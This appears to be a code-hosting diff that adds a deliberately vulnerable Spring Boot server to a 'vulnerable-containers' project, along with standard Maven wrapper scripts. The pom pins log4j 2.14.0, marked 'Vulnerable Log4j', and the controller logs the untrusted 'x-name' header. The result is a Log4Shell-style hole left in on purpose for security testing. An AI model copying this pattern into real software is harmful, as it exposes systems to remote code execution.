JAVA_HOME=`java-config --jre-home` |
||||
|
fi |
||||
|
fi |
||||
|
|
||||
|
if [ -z "$M2_HOME" ] ; then |
||||
|
## resolve links - $0 may be a link to maven's home |
||||
|
PRG="$0" |
||||
|
|
||||
|
# need this for relative symlinks |
||||
|
while [ -h "$PRG" ] ; do |
||||
|
ls=`ls -ld "$PRG"` |
||||
|
link=`expr "$ls" : '.*-> \(.*\)$'` |
||||
|
if expr "$link" : '/.*' > /dev/null; then |
||||
|
PRG="$link" |
||||
|
else |
||||
|
PRG="`dirname "$PRG"`/$link" |
||||
|
fi |
||||
|
done |
||||
|
|
||||
|
saveddir=`pwd` |
||||
|
|
||||
|
M2_HOME=`dirname "$PRG"`/.. |
||||
|
|
||||
|
# make it fully qualified |
||||
|
M2_HOME=`cd "$M2_HOME" && pwd` |
||||
|
|
||||
|
cd "$saveddir" |
||||
|
# echo Using m2 at $M2_HOME |
||||
|
fi |
||||
|
|
||||
|
# For Cygwin, ensure paths are in UNIX format before anything is touched |
||||
|
if $cygwin ; then |
||||
|
[ -n "$M2_HOME" ] && |
||||
|
M2_HOME=`cygpath --unix "$M2_HOME"` |
||||
|
[ -n "$JAVA_HOME" ] && |
||||
|
JAVA_HOME=`cygpath --unix "$JAVA_HOME"` |
||||
|
[ -n "$CLASSPATH" ] && |
||||
|
CLASSPATH=`cygpath --path --unix "$CLASSPATH"` |
||||
|
fi |
||||
|
|
||||
|
# For Mingw, ensure paths are in UNIX format before anything is touched |
||||
|
if $mingw ; then |
||||
|
[ -n "$M2_HOME" ] && |
||||
|
M2_HOME="`(cd "$M2_HOME"; pwd)`" |
||||
|
[ -n "$JAVA_HOME" ] && |
||||
|
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" |
||||
|
fi |
||||
|
|
||||
|
if [ -z "$JAVA_HOME" ]; then |
||||
|
javaExecutable="`which javac`" |
||||
|
if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then |
||||
|
# readlink(1) is not available as standard on Solaris 10. |
||||
|
readLink=`which readlink` |
||||
|
if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then |
||||
|
if $darwin ; then |
||||
|
javaHome="`dirname \"$javaExecutable\"`" |
||||
|
javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" |
||||
|
else |
||||
|
javaExecutable="`readlink -f \"$javaExecutable\"`" |
||||
|
fi |
||||
|
javaHome="`dirname \"$javaExecutable\"`" |
||||
|
javaHome=`expr "$javaHome" : '\(.*\)/bin'` |
||||
|
JAVA_HOME="$javaHome" |
||||
|
export JAVA_HOME |
||||
|
fi |
||||
|
fi |
||||
|
fi |
||||
|
|
||||
|
if [ -z "$JAVACMD" ] ; then |
||||
|
if [ -n "$JAVA_HOME" ] ; then |
||||
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then |
||||
|
# IBM's JDK on AIX uses strange locations for the executables |
||||
|
JAVACMD="$JAVA_HOME/jre/sh/java" |
||||
|
else |
||||
|
JAVACMD="$JAVA_HOME/bin/java" |
||||
|
fi |
||||
|
else |
||||
|
JAVACMD="`which java`" |
||||
|
fi |
||||
|
fi |
||||
|
|
||||
|
if [ ! -x "$JAVACMD" ] ; then |
||||
|
echo "Error: JAVA_HOME is not defined correctly." >&2 |
||||
|
echo " We cannot execute $JAVACMD" >&2 |
||||
|
exit 1 |
||||
|
fi |
||||
|
|
||||
|
if [ -z "$JAVA_HOME" ] ; then |
||||
|
echo "Warning: JAVA_HOME environment variable is not set." |
||||
|
fi |
||||
|
|
||||
|
CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher |
||||
|
|
||||
|
# traverses directory structure from process work directory to filesystem root |
||||
|
# first directory with .mvn subdirectory is considered project base directory |
||||
|
find_maven_basedir() { |
||||
|
|
||||
|
if [ -z "$1" ] |
||||
|
then |
||||
|
echo "Path not specified to find_maven_basedir" |
||||
|
return 1 |
||||
|
fi |
||||
|
|
||||
|
basedir="$1" |
||||
|
wdir="$1" |
||||
|
while [ "$wdir" != '/' ] ; do |
||||
|
if [ -d "$wdir"/.mvn ] ; then |
||||
|
basedir=$wdir |
||||
|
break |
||||
|
fi |
||||
|
# workaround for JBEAP-8937 (on Solaris 10/Sparc) |
||||
|
if [ -d "${wdir}" ]; then |
||||
|
wdir=`cd "$wdir/.."; pwd` |
||||
|
fi |
||||
|
# end of workaround |
||||
|
done |
||||
|
echo "${basedir}" |
||||
|
} |
||||
|
|
||||
|
# concatenates all lines of a file |
||||
|
concat_lines() { |
||||
|
if [ -f "$1" ]; then |
||||
|
echo "$(tr -s '\n' ' ' < "$1")" |
||||
|
fi |
||||
|
} |
||||
|
|
||||
|
BASE_DIR=`find_maven_basedir "$(pwd)"` |
||||
|
if [ -z "$BASE_DIR" ]; then |
||||
|
exit 1; |
||||
|
fi |
||||
|
|
||||
|
########################################################################################## |
||||
|
# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central |
||||
|
# This allows using the maven wrapper in projects that prohibit checking in binary data. |
||||
|
########################################################################################## |
||||
|
if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo "Found .mvn/wrapper/maven-wrapper.jar" |
||||
|
fi |
||||
|
else |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." |
||||
|
fi |
||||
|
if [ -n "$MVNW_REPOURL" ]; then |
||||
|
jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" |
||||
|
else |
||||
|
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" |
||||
|
fi |
||||
|
while IFS="=" read key value; do |
||||
|
case "$key" in (wrapperUrl) jarUrl="$value"; break ;; |
||||
|
esac |
||||
|
done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo "Downloading from: $jarUrl" |
||||
|
fi |
||||
|
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" |
||||
|
if $cygwin; then |
||||
|
wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"` |
||||
|
fi |
||||
|
|
||||
|
if command -v wget > /dev/null; then |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo "Found wget ... using wget" |
||||
|
fi |
||||
|
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then |
||||
|
wget "$jarUrl" -O "$wrapperJarPath" |
||||
|
else |
||||
|
wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" |
||||
|
fi |
||||
|
elif command -v curl > /dev/null; then |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo "Found curl ... using curl" |
||||
|
fi |
||||
|
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then |
||||
|
curl -o "$wrapperJarPath" "$jarUrl" -f |
||||
|
else |
||||
|
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f |
||||
|
fi |
||||
|
|
||||
|
else |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo "Falling back to using Java to download" |
||||
|
fi |
||||
|
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" |
||||
|
# For Cygwin, switch paths to Windows format before running javac |
||||
|
if $cygwin; then |
||||
|
javaClass=`cygpath --path --windows "$javaClass"` |
||||
|
fi |
||||
|
if [ -e "$javaClass" ]; then |
||||
|
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo " - Compiling MavenWrapperDownloader.java ..." |
||||
|
fi |
||||
|
# Compiling the Java class |
||||
|
("$JAVA_HOME/bin/javac" "$javaClass") |
||||
|
fi |
||||
|
if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then |
||||
|
# Running the downloader |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo " - Running MavenWrapperDownloader.java ..." |
||||
|
fi |
||||
|
("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") |
||||
|
fi |
||||
|
fi |
||||
|
fi |
||||
|
fi |
||||
|
########################################################################################## |
||||
|
# End of extension |
||||
|
########################################################################################## |
||||
|
|
||||
|
export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} |
||||
|
if [ "$MVNW_VERBOSE" = true ]; then |
||||
|
echo $MAVEN_PROJECTBASEDIR |
||||
|
fi |
||||
|
MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" |
||||
|
|
||||
|
# For Cygwin, switch paths to Windows format before running java |
||||
|
if $cygwin; then |
||||
|
[ -n "$M2_HOME" ] && |
||||
|
M2_HOME=`cygpath --path --windows "$M2_HOME"` |
||||
|
[ -n "$JAVA_HOME" ] && |
||||
|
JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` |
||||
|
[ -n "$CLASSPATH" ] && |
||||
|
CLASSPATH=`cygpath --path --windows "$CLASSPATH"` |
||||
|
[ -n "$MAVEN_PROJECTBASEDIR" ] && |
||||
|
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` |
||||
|
fi |
||||
|
|
||||
|
# Provide a "standardized" way to retrieve the CLI args that will |
||||
|
# work with both Windows and non-Windows executions. |
||||
|
MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@" |
||||
|
export MAVEN_CMD_LINE_ARGS |
||||
|
|
||||
|
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain |
||||
|
|
||||
|
exec "$JAVACMD" \ |
||||
|
$MAVEN_OPTS \ |
||||
|
-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ |
||||
|
"-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ |
||||
|
${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" |
||||
@ -0,0 +1,182 @@ |
|||||
|
@REM ---------------------------------------------------------------------------- |
||||
|
@REM Licensed to the Apache Software Foundation (ASF) under one |
||||
|
@REM or more contributor license agreements. See the NOTICE file |
||||
|
@REM distributed with this work for additional information |
||||
|
@REM regarding copyright ownership. The ASF licenses this file |
||||
|
@REM to you under the Apache License, Version 2.0 (the |
||||
|
@REM "License"); you may not use this file except in compliance |
||||
|
@REM with the License. You may obtain a copy of the License at |
||||
|
@REM |
||||
|
@REM https://www.apache.org/licenses/LICENSE-2.0 |
||||
|
@REM |
||||
|
@REM Unless required by applicable law or agreed to in writing, |
||||
|
@REM software distributed under the License is distributed on an |
||||
|
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY |
||||
|
@REM KIND, either express or implied. See the License for the |
||||
|
@REM specific language governing permissions and limitations |
||||
|
@REM under the License. |
||||
|
@REM ---------------------------------------------------------------------------- |
||||
|
|
||||
|
@REM ---------------------------------------------------------------------------- |
||||
|
@REM Maven Start Up Batch script |
||||
|
@REM |
||||
|
@REM Required ENV vars: |
||||
|
@REM JAVA_HOME - location of a JDK home dir |
||||
|
@REM |
||||
|
@REM Optional ENV vars |
||||
|
@REM M2_HOME - location of maven2's installed home dir |
||||
|
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands |
||||
|
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending |
||||
|
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven |
||||
|
@REM e.g. to debug Maven itself, use |
||||
|
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 |
||||
|
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files |
||||
|
@REM ---------------------------------------------------------------------------- |
||||
|
|
||||
|
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' |
||||
|
@echo off |
||||
|
@REM set title of command window |
||||
|
title %0 |
||||
|
@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on' |
||||
|
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% |
||||
|
|
||||
|
@REM set %HOME% to equivalent of $HOME |
||||
|
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") |
||||
|
|
||||
|
@REM Execute a user defined script before this one |
||||
|
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre |
||||
|
@REM check for pre script, once with legacy .bat ending and once with .cmd ending |
||||
|
if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" |
||||
|
if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" |
||||
|
:skipRcPre |
||||
|
|
||||
|
@setlocal |
||||
|
|
||||
|
set ERROR_CODE=0 |
||||
|
|
||||
|
@REM To isolate internal variables from possible post scripts, we use another setlocal |
||||
|
@setlocal |
||||
|
|
||||
|
@REM ==== START VALIDATION ==== |
||||
|
if not "%JAVA_HOME%" == "" goto OkJHome |
||||
|
|
||||
|
echo. |
||||
|
echo Error: JAVA_HOME not found in your environment. >&2 |
||||
|
echo Please set the JAVA_HOME variable in your environment to match the >&2 |
||||
|
echo location of your Java installation. >&2 |
||||
|
echo. |
||||
|
goto error |
||||
|
|
||||
|
:OkJHome |
||||
|
if exist "%JAVA_HOME%\bin\java.exe" goto init |
||||
|
|
||||
|
echo. |
||||
|
echo Error: JAVA_HOME is set to an invalid directory. >&2 |
||||
|
echo JAVA_HOME = "%JAVA_HOME%" >&2 |
||||
|
echo Please set the JAVA_HOME variable in your environment to match the >&2 |
||||
|
echo location of your Java installation. >&2 |
||||
|
echo. |
||||
|
goto error |
||||
|
|
||||
|
@REM ==== END VALIDATION ==== |
||||
|
|
||||
|
:init |
||||
|
|
||||
|
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn". |
||||
|
@REM Fallback to current working directory if not found. |
||||
|
|
||||
|
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% |
||||
|
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir |
||||
|
|
||||
|
set EXEC_DIR=%CD% |
||||
|
set WDIR=%EXEC_DIR% |
||||
|
:findBaseDir |
||||
|
IF EXIST "%WDIR%"\.mvn goto baseDirFound |
||||
|
cd .. |
||||
|
IF "%WDIR%"=="%CD%" goto baseDirNotFound |
||||
|
set WDIR=%CD% |
||||
|
goto findBaseDir |
||||
|
|
||||
|
:baseDirFound |
||||
|
set MAVEN_PROJECTBASEDIR=%WDIR% |
||||
|
cd "%EXEC_DIR%" |
||||
|
goto endDetectBaseDir |
||||
|
|
||||
|
:baseDirNotFound |
||||
|
set MAVEN_PROJECTBASEDIR=%EXEC_DIR% |
||||
|
cd "%EXEC_DIR%" |
||||
|
|
||||
|
:endDetectBaseDir |
||||
|
|
||||
|
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig |
||||
|
|
||||
|
@setlocal EnableExtensions EnableDelayedExpansion |
||||
|
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a |
||||
|
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% |
||||
|
|
||||
|
:endReadAdditionalConfig |
||||
|
|
||||
|
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" |
||||
|
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" |
||||
|
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain |
||||
|
|
||||
|
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" |
||||
|
|
||||
|
FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO ( |
||||
|
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B |
||||
|
) |
||||
|
|
||||
|
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central |
||||
|
@REM This allows using the maven wrapper in projects that prohibit checking in binary data. |
||||
|
if exist %WRAPPER_JAR% ( |
||||
|
if "%MVNW_VERBOSE%" == "true" ( |
||||
|
echo Found %WRAPPER_JAR% |
||||
|
) |
||||
|
) else ( |
||||
|
if not "%MVNW_REPOURL%" == "" ( |
||||
|
SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" |
||||
|
) |
||||
|
if "%MVNW_VERBOSE%" == "true" ( |
||||
|
echo Couldn't find %WRAPPER_JAR%, downloading it ... |
||||
|
echo Downloading from: %DOWNLOAD_URL% |
||||
|
) |
||||
|
|
||||
|
powershell -Command "&{"^ |
||||
|
"$webclient = new-object System.Net.WebClient;"^ |
||||
|
"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^ |
||||
|
"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^ |
||||
|
"}"^ |
||||
|
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^ |
||||
|
"}" |
||||
|
if "%MVNW_VERBOSE%" == "true" ( |
||||
|
echo Finished downloading %WRAPPER_JAR% |
||||
|
) |
||||
|
) |
||||
|
@REM End of extension |
||||
|
|
||||
|
@REM Provide a "standardized" way to retrieve the CLI args that will |
||||
|
@REM work with both Windows and non-Windows executions. |
||||
|
set MAVEN_CMD_LINE_ARGS=%* |
||||
|
|
||||
|
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* |
||||
|
if ERRORLEVEL 1 goto error |
||||
|
goto end |
||||
|
|
||||
|
:error |
||||
|
set ERROR_CODE=1 |
||||
|
|
||||
|
:end |
||||
|
@endlocal & set ERROR_CODE=%ERROR_CODE% |
||||
|
|
||||
|
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost |
||||
|
@REM check for post script, once with legacy .bat ending and once with .cmd ending |
||||
|
if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" |
||||
|
if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" |
||||
|
:skipRcPost |
||||
|
|
||||
|
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' |
||||
|
if "%MAVEN_BATCH_PAUSE%" == "on" pause |
||||
|
|
||||
|
if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% |
||||
|
|
||||
|
exit /B %ERROR_CODE% |
||||
@ -0,0 +1,61 @@ |
|||||
|
<?xml version="1.0" encoding="UTF-8"?> |
||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> |
||||
|
<modelVersion>4.0.0</modelVersion> |
||||
|
<parent> |
||||
|
<groupId>org.springframework.boot</groupId> |
||||
|
<artifactId>spring-boot-starter-parent</artifactId> |
||||
|
<version>2.6.1</version> |
||||
|
<relativePath/> <!-- lookup parent from repository --> |
||||
|
</parent> |
||||
|
<groupId>fr.itix.vulnerable-containers</groupId> |
||||
|
<artifactId>http-server</artifactId> |
||||
|
<version>0.0.1-SNAPSHOT</version> |
||||
|
<name>http-server</name> |
||||
|
<description>A sample HTTP server</description> |
||||
|
<properties> |
||||
|
<java.version>11</java.version> |
||||
|
<log4j.version>2.14.0</log4j.version> |
||||
|
</properties> |
||||
|
<dependencies> |
||||
|
<dependency> |
||||
|
<groupId>org.springframework.boot</groupId> |
||||
|
<artifactId>spring-boot-starter-web</artifactId> |
||||
|
<exclusions> |
||||
|
<exclusion> |
||||
|
<groupId>org.springframework.boot</groupId> |
||||
|
<artifactId>spring-boot-starter-logging</artifactId> |
||||
|
</exclusion> |
||||
|
</exclusions> |
||||
|
</dependency> |
||||
|
|
||||
|
<dependency> |
||||
|
<groupId>org.springframework.boot</groupId> |
||||
|
<artifactId>spring-boot-starter-test</artifactId> |
||||
|
<scope>test</scope> |
||||
|
</dependency> |
||||
|
|
||||
|
<!-- Vulnerable Log4j --> |
||||
|
<dependency> |
||||
|
<groupId>org.apache.logging.log4j</groupId> |
||||
|
<artifactId>log4j-api</artifactId> |
||||
|
<version>${log4j.version}</version> |
||||
|
</dependency> |
||||
|
<dependency> |
||||
|
<groupId>org.apache.logging.log4j</groupId> |
||||
|
<artifactId>log4j-core</artifactId> |
||||
|
<version>${log4j.version}</version> |
||||
|
</dependency> |
||||
|
|
||||
|
</dependencies> |
||||
|
|
||||
|
<build> |
||||
|
<plugins> |
||||
|
<plugin> |
||||
|
<groupId>org.springframework.boot</groupId> |
||||
|
<artifactId>spring-boot-maven-plugin</artifactId> |
||||
|
</plugin> |
||||
|
</plugins> |
||||
|
</build> |
||||
|
|
||||
|
</project> |
||||
@ -0,0 +1,27 @@ |
|||||
|
package fr.itix.vulnerablecontainers.httpserver; |
||||
|
|
||||
|
import java.util.Map; |
||||
|
|
||||
|
import org.apache.logging.log4j.LogManager; |
||||
|
import org.apache.logging.log4j.Logger; |
||||
|
import org.springframework.web.bind.annotation.GetMapping; |
||||
|
import org.springframework.web.bind.annotation.RequestHeader; |
||||
|
import org.springframework.web.bind.annotation.RestController; |
||||
|
|
||||
|
@RestController |
||||
|
public class HelloController { |
||||
|
Logger logger = LogManager.getLogger(HelloController.class); |
||||
|
|
||||
|
@GetMapping("/") |
||||
|
public String index(@RequestHeader Map<String, String> headers) { |
||||
|
String name = headers.get("x-name"); |
||||
|
|
||||
|
if (name != null && ! "".equals(name)) { |
||||
|
logger.info("Request from {}", name); |
||||
|
return "Hello, " + name + "!"; |
||||
|
} |
||||
|
|
||||
|
return "Hello, world!"; |
||||
|
} |
||||
|
|
||||
|
} |
||||
@ -0,0 +1,13 @@ |
|||||
|
package fr.itix.vulnerablecontainers.httpserver; |
||||
|
|
||||
|
import org.springframework.boot.SpringApplication; |
||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication; |
||||
|
|
||||
|
@SpringBootApplication |
||||
|
public class HttpServerApplication { |
||||
|
|
||||
|
public static void main(String[] args) { |
||||
|
SpringApplication.run(HttpServerApplication.class, args); |
||||
|
} |
||||
|
|
||||
|
} |
||||
@ -0,0 +1 @@ |
|||||
|
|
||||
@ -0,0 +1,13 @@ |
|||||
|
<?xml version="1.0" encoding="UTF-8"?> |
||||
|
<Configuration status="INFO"> |
||||
|
<Appenders> |
||||
|
<Console name="LogToConsole" target="SYSTEM_OUT"> |
||||
|
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> |
||||
|
</Console> |
||||
|
</Appenders> |
||||
|
<Loggers> |
||||
|
<Root level="info"> |
||||
|
<AppenderRef ref="LogToConsole"/> |
||||
|
</Root> |
||||
|
</Loggers> |
||||
|
</Configuration> |
||||
@ -0,0 +1,13 @@ |
|||||
|
package fr.itix.vulnerablecontainers.httpserver; |
||||
|
|
||||
|
import org.junit.jupiter.api.Test; |
||||
|
import org.springframework.boot.test.context.SpringBootTest; |
||||
|
|
||||
|
@SpringBootTest |
||||
|
class HttpServerApplicationTests { |
||||
|
|
||||
|
@Test |
||||
|
void contextLoads() { |
||||
|
} |
||||
|
|
||||
|
} |
||||
Loading…
Reference in new issue